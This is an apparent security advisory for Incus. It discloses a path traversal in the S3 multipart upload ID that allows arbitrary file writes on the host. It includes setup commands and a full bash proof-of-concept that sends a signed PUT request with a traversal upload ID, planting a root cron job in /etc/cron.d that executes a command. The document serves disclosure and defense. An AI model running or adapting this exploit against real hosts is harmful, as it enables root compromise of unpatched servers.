Incus has an arbitrary file write via path traversal in S3 multipart upload
Summary
The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.
In internal/server/storage/s3/local/multipart.go, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33
PoC
Setup
# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#> note the credentialsExploitation
The below script was mostly generated.
#!/usr/bin/env bash
set -euo pipefailif [ $# -lt 4 ]; then
printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
exit 1
fi
endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"
region="us-east-1"
service="s3"
key="anything"
part="1"
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
body="* * * * * root /bin/sh -c '$cmd'
"
uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
uri_path="${uri_path#/}"
uri_path="/$uri_path"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
url="$endpoint/$bucket/$key?$qs"
amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="$date_scope/$region/$service/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"
canonical="PUT
$uri_path
$qs
host:$host
x-amz-content-sha256:$body_hash
x-amz-date:$amz_date
$signed
$body_hash"
canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')"
string_to_sign="AWS4-HMAC-SHA256
$amz_date
$scope
$canonical_hash"
hmac_hex() {
printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256
}
k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"
printf '# body:\n%s' "${body}"
curl -ksS -X PUT "${url}" \
-H "Host: ${host}" \
-H "X-Amz-Date: ${amz_date}" \
-H "X-Amz-Content-Sha256: ${body_hash}" \
-H "Authorization: ${auth}" \
--data-binary "${body}"
Impact
Arbitrary file write on the host. Possibly leading to arbitrary command execution.